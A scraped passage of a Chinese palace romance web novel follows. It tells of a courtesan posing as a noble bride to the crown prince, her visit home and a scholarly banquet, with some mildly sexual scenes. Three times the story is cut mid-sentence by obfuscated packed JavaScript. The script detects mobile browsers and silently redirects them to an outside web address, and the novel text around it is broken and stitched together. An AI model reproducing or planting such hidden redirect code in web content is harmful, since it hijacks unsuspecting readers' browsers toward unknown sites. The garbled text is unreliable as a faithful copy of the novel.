文文挠挠头,书房就这么大,其余地方太子寻常要见客,太子起居也占了不少地方,便只能指着隔间里的小片区域:“就放在这儿吧,与殿下的放在一处,奴才叫人再搬套桌椅来。” 原本端放着太子衮冕的桌上,便放了一台梳妆镜上去。 原本放着太子朝服的柜子里,又被善静塞了几件肚兜进去,紧紧挨挨放着。 10. 回门 尹采绿被梳洗收拾好,芳嬷嬷引她来了库房,到这时候,翠影出现了。 翠影是太子妃的陪房,善静善和都很敬重她,太子府后院儿里管事的芳嬷嬷寻常也不会管到她头上去。 眼下翠影一来,善静善和便都退到了最后。 翠影道:“奴婢陪着太子妃去库房。” 尹采绿手虚虚往一旁一伸,翠影便只能把手臂伸出去,好叫太子妃的手搭在自己胳膊上。 明日太子便要与太子妃一同回门了,翠影心里憋着好些话想与夫人汇报呢。 越是陪着尹采绿在太子府待得越久,她心里便积压了越多的怨气。 眼见着这府上人人都敬着太子妃,翠影真是为小姐不值。 太子妃之所以这般受人敬重,都是顶着小姐的身份,小姐不光父族勋贵,母族清望,自身又有一顶一的才德名声。 若不是如此,她在这太子府,可有的要经营的。 照理说,太子妃应当大大地感激薛家,还有她们小姐的。 翠影觉得,尹采绿得了这么大的好处,该有更多表现才是。 尹采绿却不知翠影心里在想些什么,她只知道,听薛家人安排的那样行事便好。 她一直都做得很好,太子没有怀疑过她不是薛静蕴,太子也喜欢她。 而同样的,她不知道的,薛家出了一个太子妃,薛家子弟在官场上已获得不少的益处了,本已开始落魄的薛家门楣在盛京人口中也已悄然上提了不少。各路宴席本没有打算邀请薛家的,也都陆续往薛家递了帖子。 芳嬷嬷打开库房,太子府自建成以来,太子获得的所有赏赐和珍宝都在这里了。 “太子吩咐过,这库房里的物件儿,太子妃可随意挑选。” 尹采绿由翠影搀扶着进来,但她不懂这些事情,便看向芳嬷嬷请教。 “大体该带些什么礼?还请芳嬷嬷指点一二。” 还不待芳嬷嬷答,翠影便道:“寻常的先是各类糕点、茶叶、药材,像是宫里的茯苓夹饼、枣泥酥一类,再是龙井、大红袍,另外,人参、燕窝、鹿茸、阿胶也是要有的。” 芳嬷嬷点头:“翠影姑娘说得不错,就是这宫里的糕点不易得,可叫人传信太子,叫他回来时带上一些。” 尹采绿默默听着,犹疑道:“若要传信太子,那便不必了吧,倒是不至于劳烦他。” 芳嬷嬷摆摆手道:“太子妃不必害怕劳烦太子,殿下平常是最温和不过的一个人了,别说太子妃了,就是我们这些下人,太子殿下也是体贴的。” 尹采绿便道:“那劳烦芳嬷嬷帮我备上这些。” 芳嬷嬷道:“除此之外,太子妃也可再选一些具体给到薛侯爷或是夫人的礼。” 翠影道:“府上还有大公子。” 芳嬷嬷淡淡瞥了翠影一眼,又道:“是呢,侯府老太君也还健在,太子妃都是要备礼的。” 尹采绿又道:“那二房、三房的伯母,姐姐妹妹们呢?” 芳嬷嬷答:“这些自然是随太子妃心意,太子妃想送礼的,都可以送。” 尹采绿点点头,她记得待她一直很热络的二伯母,便好好替二伯母挑一份吧,夫人待她也是极好的,也是要用心挑的。 至于其他的人,都中规中矩地送礼便是了,只一个大公子,她可不要给大公子送些什么贵重的。 若是熟悉尹采绿的人便知道,她这个人啊,是吃软不吃硬的,谁待她看上去温柔,她也听不懂好赖话,只当那人是好人。 尹采绿挑了几匹天水碧云纹软烟罗,都是送女眷的,为夫人和二伯母备的是石榴红缂丝锦,还多挑了件首饰,三伯母也有,但质地要稍差些,想了想,又给老太太多挑了件手镯,另挑了匹雪浪银鼠皮。 府上男子便统一送些瓷器,大大小小的,都价值不菲,她一边挑,芳嬷嬷便使人往出搬,尹采绿看着倒还有些心疼。 “这徽墨不错,太子妃,依奴婢看,正适合大公子呢。” “嗯?”尹采绿从一面架子前回过头,疑惑地看向翠影。 翠影已将那块徽墨拿起来了。 那是一块由名家雕了花鸟图的漆烟墨,墨锭上有描金、填彩,还未靠近便有奇香,一看便知是个好东西。 尹采绿有些迟疑地将目光挪向芳嬷嬷,芳嬷嬷便道:“这里面凡是太子妃想带走的,都可以带走。” 尹采绿扯起嘴角笑了笑,翠影已将徽墨列进了清单。 转过身时,尹采绿头一回黑了脸色。 可明日便要回门,要去见夫人,她此时不能与翠影起冲突。 可她现在更讨厌薛明澜了,凭什么拿走她这儿一块徽墨。 她不知道,太子之前送给她的一块徽墨、一方端砚、一支湖笔,也是被崔婉清扣下来给了大公子的,她手里唯独得了封信。 今日独自用了饭,又在太子府内闲走了一会儿,晚上没找到理由去书房,太子也没来看他。 叫文文过来给她传了口信:“太子妃,太子要空出明日回门的时间来,今日事务难免忙了一些,太子让您早些休息,明日卯时太子会来接您。” 尹采绿晚上躺在榻上,望着红帐子出神,晚上服侍她睡下的是善静、善和两个。 不知怎么的,尹采绿现在不喜欢见到翠影。 不是她离了薛家,心就野了,她念着薛家的好呢,可是,她总也有自己的情绪在的。 翻了个身,将被子夹在两腿中间,很快就呼呼睡去。 到了卯时,尹采绿感觉有人将她推醒。 “太子妃,醒醒,太子已经在门外候着了。” 是善静叫的她,尹采绿睁开眼,有些没睡醒。 她透过薄纱糊成的窗户,觑着眼看到一背影,模模糊糊,气度清华。 “太子来了吗?” 善静将她今日要穿的衣服拿过来:“是呢。” 不一会儿,翠影也撩开帘子风风火火过来了,她跟竹萱睡在与尹采绿卧房打通的耳房里。 “太子妃,快些起来,回门可不能迟了,侯爷夫人早等着呢。” 善静都被翠影这动作吓了一跳,太子就在外头站着呢,怎可这般咋咋呼呼。 尹采绿看到纱窗外那道身影稍微转身,侧过来了些。 翠影嘴上严厉,动作也很麻利,接过善静的手后,三两下就给太子妃套上衣服,将人带到了梳妆台前。 善静忙上前道:“让奴婢来吧,奴婢擅长牡丹髻。” 尹采绿正要点头,翠影已在她头上忙活起来了。 “我们小姐喜欢随云髻,不用你来。” 善静只好退下。 尹采绿眼底闪过一丝沮丧。 翠影总会把她照着薛静蕴的模样打扮,但尹采绿本就是替身,她不能说翠影做得不对。 梳好头,翠影又手脚麻利地给她套上绕转层数许多的深衣,将她的身躯裹得紧紧的。 终于推开门见到了太子。 赵清见她出来,心里还自责着,不知该如何面对她,又见她行走端庄,举止娴雅,心中越发疼惜太子妃。 太子妃在他跟前行了礼,声音轻柔婉转:“殿下。” 他将她扶起来,两人一前一后走着。 太子府离侯府并不远,太子平常在盛京城内往来,大多数时候都靠走的,不爱乘轿子。 芳嬷嬷正指挥丫鬟小厮们往马车上放礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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太子妃眉眼原是娇俏的,一点也不清冷。 偷笑完,尹采绿恢复如常,身姿挺立如青竹,眼尾弧度不再带着媚态,唇角抿成了平直的线。 很快到了侯府,薛家人已在门口恭候了。 崔婉清和薛兴昌站在最前方,周围免不了有围观的百姓站着,还夹杂着一些大户人家的丫鬟看热闹,等着回去向主家回禀这盛况。 太子携太子妃回门,薛家可不长脸呢么。 太子先下了轿,随后又亲手扶着太子妃下来。 管家丁瑞带头,齐声问安。 “请太子殿下安。” “请太子妃安。” 又是一阵洪亮的声音,齐齐下跪,统一着装,鞋帽齐整。 比尹采绿下船的那天还要闹得声势浩大。 薛家别的没有,排场是有的。 尹采绿便又悄悄雀跃起来,自己可是这场面里的女主人呢。 一番见礼过后,薛家众仆妇丫鬟便都簇拥上来,引着太子妃进门,嘘寒问暖的,好不热闹。 门房那儿过礼又过了好一会儿。 翠影偷瞄着大公子,嘴角上翘,等着那块徽墨被报出来,可一直等一直等,数百匹丝绸都报完了,也没报到徽墨。 她明明是亲手写进礼单的东西,怎会没有。 翠影望向被人簇拥着走在前方的尹采绿,下意识觉得是她做的。 可她,她一个替身,凭什么那么做啊。 11. 讨厌大公子 太子走在太子妃稍前一些的地方,由薛兴昌和薛明澜引着,四周还有一些旁支的公子,但凡能在太子跟前露脸的机会,能来的都来了。 “正堂里备了茶,太子请。” 行至一道月洞门处时,太子妃便要被引着去后院儿了,她顿住脚步,看了太子一眼。 太子也看了她一眼,朝她抿唇温和一笑,稍点点头,便同侯爷和大公子朝另一方向去了。 尹采绿被薛夫人握着手,再一看,二伯母、三伯母她们都来了,还有姐姐妹妹们。 二房有一个姐姐薛迎荷,一个妹妹薛紫荷,另有一位小公子薛睿慈,小公子今年十二岁。 小公子很是端庄乖巧,从前每次在府里见了她,总是行大礼,叫她二姐叫得嘴甜。 三房是庶出,在老太太面前也不太说得上话,在太子妃面前就更没有存在感了,尹采绿到现在也认不全三房的人。 薛夫人搀着她小心走着,所有人都到了老太太那儿。 尹采绿向老太太请安,老太太那儿的丫鬟仆妇忙来扶她,也不敢像上回那样,往她膝下塞软垫子,人动作还没做完,便被扶着站直了。 “自太子妃出嫁后,老太太可想您想得紧呢。” 二伯母开口道,尹采绿便看向高堂,老太太正朝她伸出手,她手一伸过去,便被拉着坐下了。 “太子府上如何?” 尹采绿不知这个“如何”是何意,便答:“宅子建得漂亮,丫鬟仆妇都很规矩,吃食也都齐全。”该有的都有。 老太太哪是想听那个,老太太是想听,太子在府上每天见些什么人?可听到有什么消息?皇上待太子如何?这一类的话儿。 尹采绿哪懂那些,老太太只当她装傻,刚出嫁心就向着夫家了。 历来做太子妃做皇后的,谁不是一心扶持母家。 母家若不上台面,太子妃本人又能得多少体面。 薛家当务之急,是让薛明澜能顺顺当当袭了侯爷的爵位。 见这孩子装傻,老太太朝崔婉清递了个眼色。 崔婉清知道尹采绿的性子,若有什么要求她的,直说是最好的,弯来绕去她真听不懂。 便道:“若有机会见到皇上,或是直接求太子,叫他轻提一嘴,咱们家大公子的爵位何时能承袭。” 二房几人相互对视一眼,薛二夫人颇有些不屑。 “这不是为难人家太子妃嘛,大嫂这是何苦呢,皇上若还愿意让薛家继续承爵,自会下旨的。” 崔婉清直视老二家的,心里颇为无奈,若不是老太太非要把她们叫过来,说要让家里人都看看太子妃回门的盛况,崔婉清哪至于连与尹采绿说句悄悄话的空当都没有。 尹采绿始终垂头眼观鼻,在薛家,她表现得顺从最为重要。 别说崔婉清,翠影肚子里也还憋着话儿想与夫人说呢。 崔婉清自认已与尹采绿明说了事情要求,剩下的交由翠影督促便是。 两人对视一眼,默默走了出去。 翠影有一股脑儿的话想说,可话到嘴边,又说不出来个什么,硬要细究起太子妃来,倒也没有什么不按吩咐的地方。 二人走至一处僻静的八角亭,崔婉清理了理衣袖,“说吧,这几天她表现如何?” 翠影想不出要指责尹采绿的地方,便道:“太子待她好,太子府上下也很敬她,一应管家事务,也都交给她了。” 如翠影所料,这般说了,夫人脸色并不好看。 “她与太子,第一晚叫了两回水,奴婢与竹萱听着,折腾了大半宿呢。” 翠影一边观察夫人神色,一边试探着说道:“后来奴婢听说,书房那边也叫了一回。” 崔婉清知道翠影想说什么,太子宠爱太子妃。 这对薛家来说是个好消息,可是对她一个刚失去女儿的母亲来说,不是好消息。 崔婉清问道:“她可有什么出格的举动?” 翠影从脑中思索了个遍,只好摇头:“没有,每次侍奉太子,都是规规矩矩的。” 也没听到什么露骨的声音传出来。 崔婉清越发感到揪心,这意味着,无论是谁嫁给太子,都能得到这份宠爱,而她的女儿,生生错过了。 “继续盯着便是,还有何事要说?” 崔婉清打算结束这场私密谈话了。 翠影迟疑片刻,终是没将那徽墨之事说出来,她的心思,不可让夫人察觉。 崔婉清又想起一事:“老二家的有意让迎荷或是紫荷入太子府,许是要走太子妃的门路。” 太子已有太子妃,侧妃的位置自是多方盯着。 翠影嗤笑一声:“太子妃是我们的人,怎会听她的。” 二夫人是异想天开惯了的,总以为大房不要的东西,就会给她。 崔婉清直视翠影:“但我需要有一个知道太子妃底细的人永远扎根太子府。” 太子妃若在太子府得了势,翠影和竹萱两个,不一定能长久待得住。 到时尹采绿便如同脱缰的马,薛家牵制不住她。 太子妃身上是有秘密,但这秘密也足以让薛家和崔家共同覆灭。 翠影愣住:“夫人的意思是?” “侧妃当不上,那你就做个侍妾,翠影,何必把机会让给二房的人呢。” 竹萱太过木楞了,崔婉清优先想考虑翠影,她每日就在太子妃与太子身边,机会很大。 翠影垂下头,没立刻答应。 “夫人,容奴婢考虑考虑。” 崔婉清也不逼她,逼出来的效果总不尽如人意,只临走前悠悠道:“太子今后若是登基,哪怕最底层的侍妾,也是娘娘。” 到时候太子妃成了皇后,皇后还受不受薛家掌控暂且不论,但皇后姓薛,就已经足够了。 午时,众人簇拥着太子妃、老太太,各位夫人分别站立,园中摆着三张圆形的红木大桌子,男子一桌,女眷一桌,十岁以下的男女一桌。 椅子、板凳、马扎子依次排开。 丫鬟、婆子们穿行忙碌,毫不出错,薛家大家之风尽显。 主子们由仆妇搀扶着依次入座,座次分明,丝毫不得错乱。 老太太与太子妃谦让了一番,最终老太太稳坐主位,太子妃在侧,身旁依次是三位夫人。 上头那桌,自是太子坐主位,尹采绿只侧头略看了眼太子,太子本还看着别处,立马转过来朝她轻轻点头。 尹采绿忙回过头。 丫鬟们端着菜盘鱼贯而入,又设下杯盘,摆上酒馔。 一众人寒暄恭维,说些场面话,这顿饭便算是吃过去了,自不必多说。 要回程的时候,薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下今日可见着二伯母膝下的小公子了?妾回薛家后,第一回见到七弟时,觉得他甚是冰雪可爱呢。” 太子回忆起席上那位小公子,确是聪明可爱,却不知太子妃为何提起他。 “实不相瞒,妾身今日回府,家中皆忧心侯府爵位承袭一事。” 说出此事情有可原,谁家有爵位要继承不操心呢。 太子明了,但此事还需听父皇的意思,他做不了主。 “太子妃稍安勿躁,若有机会,孤会向父皇提及的。” 尹采绿的手被太子握着,放在太子的腿上,她稍稍将手翻了个个,手心朝下,太子手掌覆于她手背上。 她指尖微微蜷起来,中指竟极轻地挠起太子的大腿来,一下一下的,眉眼微抬:“妾的意思是,若爵位还能再往下传,不如择族中子弟更优异者为人选,否则,家主一代不如一代,侯府必将再传承不下去了,若能选中优异者为家主,或许侯府反倒能再上一层楼。” 尽管薛睿慈才十二岁,尚还看不出才能,但薛明澜已经二十有五了,明眼人都看得出此人是个庸才。 借着祖辈余荫在朝上做的个四品小官,在太子妃出嫁之前,听说,他很不受上司看重呢。 太子妃字字都是为侯府尽心考虑,太子怜她苦心,又怎会忍心拒绝。 笑着握住她乱挠的手,颔首道:“孤知道了。” 太子妃小女儿之态,眼尾又亮出光来,俯身偎在太子胸口,温声软语:“殿下真好。” 赵清身躯骤然僵硬,太子妃这般,他喜欢是喜欢,可四周街市吵嚷,若忽然有人掀开轿帘该怎么办呢。 12. 太子不解风情 太子身躯僵硬着,终是与太子妃抵达了太子府。 将她送回房,赵清没坐多久,喝了盏茶,更过衣,又要出门了。 走前不忘向太子妃嘱咐:“孤在朝上还有些事未处理,今晚会早些回来,太子妃自行用饭,然后等孤。” 寻常太子不会让她等他,尹采绿便懂,这是今晚要同她睡觉的意思。 送走了太子,午后时间漫长,尹采绿把自己关在房中琢磨芳嬷嬷给她的那一摞本子。 她发现,有些字虽不认识,可联系上下文,又看几篇有相同文字的段落,她便大体能猜出那是何字了。 毕竟她只是不认字,又不是不会说话,寻常常用的词语、短句,稍加推断,便能得出结论。 比如“四十两×子”中间的那个字,肯定是“银”呀。“金”字她原先就认识的。 如此一来,一下午时间,她又多认了几十来个字儿。 可她会认的字也仅限这些通俗的句子,若又拿诗或是哪位大家的著作给她看,她必是看不懂的。 到了晚上,尹采绿早早用过晚饭,善静善和给她备了水沐浴,都知道太子今晚上要来,早替太子妃做好准备。 浴盆中放了精油和花瓣,稍加搅拌,便有香气扑鼻,尹采绿坐进去,善静善和一人一边,替她擦拭身体的每一处。 最后将她扶出来,裹上轻薄纱衣,头发全都拢在肩头,乌泱一把。 今日从侯府一回来,便没再见着翠影,不过平常伺候她的活儿,翠影也很少干,都是善静善和在干。 另一个竹萱本就极少出现,但凡见着她的时候,都是在老老实实干活的。 尹采绿拢着纱衣坐到铜镜前,浑身氤氲着水汽。 翠影不在的时候,她总是要松懈一些的。 否则见她这样,翠影定要斥责:“太子妃注意仪态。” 善静在给她梳头,镜中一对儿眼尾如远山含雾,因着头发被梳扯的缘故,头轻轻歪着,鼻尖微微翘起,更似有千般风情在眸中荡漾。 太子妃的妆奁中是常放着胭脂水粉的,但翠影平时不让她用,尹采绿便从未碰过。 善静见太子妃朝那胭脂看去,便拿起其中一罐,用手指轻抹了一点出来,擦到了太子妃唇上。 只一下,水红色的胭脂水汪汪地映在唇珠上。 直到外间通传“太子驾到”的声音,善静忙收拾起东西,从侧边退了出去。 尹采绿忙朝镜中去看,唇色莹润娇艳,愈发衬得肌肤胜雪,她已经许久未抹过这样艳的颜色了。 在镜中的眼微一抬眸,便见着了站她身后的太子。 赵清负手站立,眼眸温润注视她,喉结轻动间,嘴上也不忘夸她:“太子妃甚美,可与孤歇下了吗?” 她抬手绾发,将背后青丝都拢到肩头,微侧着身子,抿唇笑着时,面上总有几分天真。 眸光盈盈望向身侧人,道:“好。” 太子拉着太子妃的手至床边,太子妃睡里侧,太子睡外侧。 被面搭上来的一瞬,尹采绿已做好准备,心中期待。 可她等了许久,房中灯烛已灭,太子也已躺在她身侧,二人同床共枕,只着薄衣。 中间却似隔着楚河汉界,尹采绿只把自己当做一盘等待品尝的菜,等着太子来。 她虽也有许多反客为主的主动技巧,却不敢擅用。 嬷嬷教的,对待不同的客人,皆要用不同的技巧。 有的喜欢主动的,有的喜欢乖顺的。 像太子,应该,大抵,是喜欢乖顺的吧。薛夫人也是这样要求她的呀。 太子快要安然睡着,尹采绿却莫名的,不想今晚就这般过去。 太子虽专爱稳扎稳打、不疾不徐的战术,却也是实心实意、全始全终,不是虚的。 虽那缓磨慢磨让她时而没了耐心,但细水长流,水滴石穿,也是舒服的。 黑夜里,太子妃的眸子亮得出奇。 从被窝底下,尹采绿悄然将靠他身边的那只手钻了过去,太子的手却端放在腹前,他睡觉也是很规矩的。 那只如削葱的手,柔弱无骨地拂过赵清的胳膊肘,沿着胳膊,游走至他腹前,握着他手背。 轻磨了一会儿,手往下翻,钻进他掌心里,手心便也贴着他的小腹了。 太子睁开眼,太子妃还平躺着,似乎只是要与他拉拉手。 他便闭上眼,又继续睡去。 那只手却动了起来,时而蜷起,挠他一下,动作做得无意,像猫儿的肉垫,倒让赵清再也睡不着了。 “太子妃。” “嗯。”她的尾调微微婉转上扬,又轻又颤。 “你在做什么?” 尹采绿眨眨眼:“妾,想同殿下亲近。”声如蚊蝇,又直飘到人心里去。 赵清喉结轻动,不知该如何。 刘嬷嬷说的话,总归是叫他担心她的。 “孤也想同你亲近。” 酝酿了良久,赵清说出这么句话来。 听了这话,尹采绿将下巴尖埋进被子里,只露出一双眼在外窃喜着,若是赵清见了,定是又要说她像只偷到鸡的狐狸。 可尹采绿又等了一会儿,太子还没翻身上来。 她扭头去看他,极其微弱的月光洒进来,能隐约看见他的轮廓。 “但孤不想伤你。” 似是安抚一般,他的手朝她伸过来,拍了拍她的肩。 “睡吧。” 他另一只手捏着她伸过去的手,放在腹前,便就那么放着,摆正了身子,又要睡觉了。 尹采绿脑子乱乱,何为伤她? 她也乐在其中啊。 许是察觉到了她的异样,赵清不免又多说了几句:“太子妃别听那些下人婆子乱说话,孤不着急要皇长孙出世,咱们可慢慢来。” 他是太子,只要不犯下大错,便不会轻易被废,三弟的儿子就算是皇长孙,将来也不过被封个郡王,赵清从不屑于去争抢那个。 说完,赵清捏着她的手,很快便安稳睡去了。 尹采绿听到他呼吸很快变得又沉又缓,便知他今日应是累了。 又是陪她回门,又急匆匆出去做事,可不累呢么。 尹采绿眉眼瞬间变得柔和下来,凝视着太子的侧脸轮廓,手心乖乖蜷在他手心里,也不乱动了,很快也睡去。 接下来几日,太子若回来得早些,便会到她房里来歇息,太子若回来得晚了,或是在书房见客见到深夜,便就在书房歇下了。 就是到她房里来的几日,也只是握着她的手,没做过什么。 引得整夜候在房门等着里面吩咐的两个仆妇,都要嘀咕起来:“太子也是喜爱太子妃的,怎的一整夜也不叫 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皇上很是生气,派人过来一查,才知道太子府上都是些什么人物。 要么是书院里的夫子,要么是山上的隐世大儒,要么是游走至此传道教化的经师,甚至,从西边来的高僧也做过太子府上的客人。 这次的客人里,也都是些老头子,有白鹿洞书院的朱夫子、漳南精舍的阮夫子、听松诗社的祭酒林先生,另外还有画师陈大家、棋痴孙大家等人物。 尹采绿大体明白了,便道:“那便按照往常惯例办也就是了。” 芳嬷嬷摇头:“今时可不同往日了,府上以前没有女主子,办得简陋,如今咱们府上有太子妃了,太子妃正可趁此机会好好表现一番,也叫咱们太子府上的雅宴办得漂亮些。” 说起这个,芳嬷嬷胸膛还往起挺了挺。 既然芳嬷嬷都这么说了,尹采绿便也打定了主意,定要将这场雅宴办得顶漂亮。 季夏伏日,太子府正门俱开。 尹采绿选了一处一边傍着假山,一边是潺潺溪流的敞厅。 这溪流是太子府建府时从护城河里引进来的。 于厅前平台上列下桌椅,上面居中太子与太子妃坐下,左垂首朱夫子、阮夫子、林先生等人物,右垂首陈大家、孙大家等人物。 眼下客还没来,府上仆妇小厮穿梭,已是热闹场面。 太子提前从朝上回来,就是忧心太子妃操办不好,她虽才德双全,却毕竟不在京中教养长大,眼下见一切井井有条,太子心甚慰。 芳嬷嬷来回:“太子妃,一众歌伎、乐伎都已经到了,收拾一下就能入场,只戏班子还没到,听那班主传信说,旦角儿在路上出了些差错。” 尹采绿皱眉,怎的偏偏旦角儿出了差错,她最爱看旦角儿了。 她小心翼翼抬眸看向太子,还望太子不要指责她才好。 太子怎会指责她,太子只是,看着那些抱着丝竹管弦依次入场的莺莺燕燕,有些头疼而已。 正午的太阳明晃晃地照,照出一派正气,照出一片磊落。 也不知待会儿来的那些老头子见了,会不会一个比一个脸色难看。 13. 雅宴 太子不想自己风评受损,更不能辜负太子妃一片心意。 趁着客人还没来之前,太子叫芳嬷嬷把那些人带下去,挨个换上曲裾深衣,手中丝竹换成编钟、编磐、埙和鼓。 “戏班子来不了,就传信叫他们别来了,太子妃,孤过几日再请戏班子回来,专给你一人唱,可行?” 尹采绿羞涩垂头:“行的。”殿下待她真好。 客人依次到来,果然是一个比一个胡子白,身上穿着浆洗得发白的灰布长衫,头上戴着竹簪。 尹采绿总觉得,这场面与自己想象中,之前玉笙楼合宴于舟中,前水嬉而后妓乐,左笔砚而右壶觞的场面不太一样呢。 老头们挨个朝太子和太子妃见了礼。 众人端坐于席上。 随着那一声恢弘低沉的器乐声响起,整个雅宴被带入了一个极度庄严的氛围。 太子妃与太子虽并排而坐,却相隔甚远。 “太子妃请。” “太子请。” 二人相互颔首,便坐下了。 尹采绿对这场面升起一股天然而来的害怕,便扭头看向太子,她若想挨太子近些,要么挪屁股,要么歪着身子倒过去。 只见太子脊背笔直,仪态端庄,眉眼间不怒自威,说话时字字掷地有声,一卷半开的竹简握在右手,气定神闲,挥斥八极。 尹采绿备的酒并未被抬上来,几位老者身旁皆是一壶清茶,有的手捧羊皮纸,有的手捧泛黄古籍。 他们时而相视点头,有问有答、有来有往,太子神情庄重间颇有一丝陶醉之感。 思想驰骋其间,智慧熠熠生辉。 尹采绿听不懂一个字,只觉在此处如坐针毡。 不知何时,太子察觉到她的异样。 倒是他忽略了她的感受。 太子便想,太子妃文采斐然,何不叫她也参与进来。 便正襟危坐,待她与待场上任何一位大儒都是一样的态度,认真问她:“太子妃对此有何想法?” 尹采绿瞪大了眼。 “啊?” 可她看过去,太子目光专注,不光是太子,在场老头子目光都落在了她身上。 当真是要认真听她讲话。 她耳尖腾地一下变得血红,后背发麻,指尖捏着腿上的衣摆,只觉自己又要露馅儿了。 她哪里懂他们那些呀,她说不出来的。 这般想着,太子悄然朝她伸出手,桌案底下,太子握紧了她的手,她抬眸,太子眉眼温和下来,满是鼓励。 太子好温柔,尹采绿手被他紧紧握着,逐渐发冷的身体回过温来,她当真开始回忆起,刚刚他们在说些什么。 太子认为,太子妃从前被养在闺中,只是从未见过这等场面,有些害怕罢了,并不代表她不会,太子妃是很有文采的女子,必是博古通今的。 只需稍加鼓励,太子妃定能传达出自己的思想。 尹采绿默默看向一位着青衫的老儒,试探着开口:“阮夫子刚才说的,‘道常无为而无不为’,本宫的理解是,世间万物,皆有其自身规律,应顺势而为,不强求,不妄为,就像老人家常说的,尽人事,听天命。” 一口气说完,她都不知自己竟能说出这么复杂的一段话来。 她连忙小心观察众人神色,见太子面色无异,还朝她点头,她松了口气。 “太子妃说得是,诸位可还有别的想法?” 好在接下来的时间,太子没有再叫她发言了。 太子只是觉得,她若有想说的,随时都可以说,他办的雅宴并不似皇宫里那么多规矩。 尹采绿只觉逃过一劫。 太子已将握着她的手撤回去,尹采绿手背上一空,悄看了他一眼, 太子最是重礼,在这样的场合,能给予她鼓励已是不易。 尹采绿巴望着今天快些过去,她宁愿当场给大家跳一支绿腰舞,从前她跳舞,在场客人就没有不夸的,寻摸着什么时候,给大家露一手才好。 这般想着,尹采绿将手往太子那处伸了过去。 太子两只手正经放在膝盖上,太子妃的手一伸过来,他便察觉了。 直觉是她想说些什么,他反握住她的手,目光又骤然变得温和,看向她,似要开口询问。 尹采绿怕他又要说些为难她的话,连忙蜷起指尖,轻挠了挠他的大腿。 他捉住太子妃的手,不让她乱动。 她的手指尖又钻出来,轻轻摩挲着太子的腿,一寸一寸往里挪,挪到腿内侧。 太子不好大幅度将她的手拿开,更不好强握着她,太子妃若挣扎起来,场面就不好看了。 偏在这时一位大儒专问了太子一个问题,太子需专心思考作答,便放弃了阻拦太子妃。 这导致太子妃的手越发放肆,揉皱了他腿间一片衣摆不说,手掌直接往里一掏,碰到一硬物。太子刚好答完大儒之问,伸手猛地捏住了太子妃的手,尹采绿本是碰到后就想收回来的,却被太子捉了个正着。 太子没看她,她悄然打量太子,太子将她的手捏得很紧,紧挨着身侧放着,再不要她乱动。 场面上论道继续。 每次在这一来一回的交流中,太子都获益颇丰,今日也是如此。 结束之时,大儒们挨个告辞。 太子端坐不动,朝太子妃温声道:“太子妃,替孤送一送先生们。” 尹采绿手从他手里挣脱出来,站起身,仪态万方:“各位先生,这边请。” “太子妃请留步。” “诸位先生请慢走。” 太子妃极为妥帖地送走了客,太子轻咳一声,才缓缓从桌案后起身,抻展腿间褶皱。 文文上前道:“殿下晚上还要见威远大将军,赶快更衣收拾吧。” 太子瞧见送客回来的太子妃,向文文沉声道:“就不去清风楼了,叫舅舅来府上吧。” 尹采绿同芳嬷嬷安置残局,该结银子的结银子,挨个送走了姑娘们,尹采绿给她们一人包了个大的。 芳嬷嬷很是高兴,一边叫人撤下四周悬挂的彩带,一边对太子妃道:“今日这雅宴办得可真漂亮,府上有女主子了就是不一样。” 她们太子妃不仅容貌是一等一的好,又素有才德之名,如今府上众人谁不敬她呢。 尹采绿眨眨眼,被芳嬷嬷夸得害羞,垂下头,怪不好意思。 待吩咐完,尹采绿抬头四处寻太子,却没见着人。 嬷嬷说:“太子刚去书房了,晚上还要见大将军,大将军是咱们娘娘的亲哥哥,也是殿下如今为数不多的亲人了。” 尹采绿思索着,太子失了母后,确是处境多艰,又想到:“嬷嬷,可需要我去见见大将军。” 芳嬷嬷迟疑,太子没召,按理说太子妃是不该去书房的,以免扰了太子见客。 可太子妃也不是没有到书房去的先例,再说了,太子妃自己有心见见大将军,嬷嬷也不好误了太子妃的一番心意。 “待到傍晚饭点儿的时候,书房内应是不议事,太子妃到时可去看看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529053|170790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 尹采绿点头。 这边赵清回了书房,进了屏风后的隔间,准备换下身上的直裾,找件日常一些的袍服穿上。 有几日没在书房起居,他拉开柜子,却见一片姹紫嫣红入目,紧贴着他的深色袍服。 赵清猛地合上衣柜,耳尖微红。 “文文,这是怎么回事?” 文文连忙进来,太子更衣时,不喜欢叫人伺候。 见状,文文答:“那日芳嬷嬷带着善静、善和两个丫头,将太子妃的起居物件儿搬了好些过来,奴才看太子妃确有在书房起居的需求,便答应了。” 赵清捏着眉心,想起那夜的事情,越发觉得荒唐了。 “叫她们搬回去吧。”往后不会再有太子妃在书房歇夜的事情。 又道:“罢了,把东西收起来就行。” 若大张旗鼓把太子妃的东西搬回去,满府说不定又要传些什么不好听的。 赵清又一次拉开衣柜,将那些肚兜拨开,寻出自己一件月白色袍服来。 不是什么正经见客的衣裳,腰间系带松松拴着,再叫人往圆桌上上些酒菜,便可见舅舅。 唐洪辉不一会儿便来了,不忘给太子带了壶好酒。 “今日三皇子党可有异动?” 唐洪辉先是给太子斟了杯酒,缓缓道:“殿下,臣倒是觉得,比起整日盯着三皇子,不如多进宫去看看你父皇。” 赵清没有急着饮酒下肚,两只手团成拳放在膝上,坐得板正:“父皇未召孤。” “殿下每次到太和殿前多等一会儿,皇上会召的。贵妃多次想换下御前侍奉的俞公公,陛下始终没有同意,殿下不知这是何意吗?” 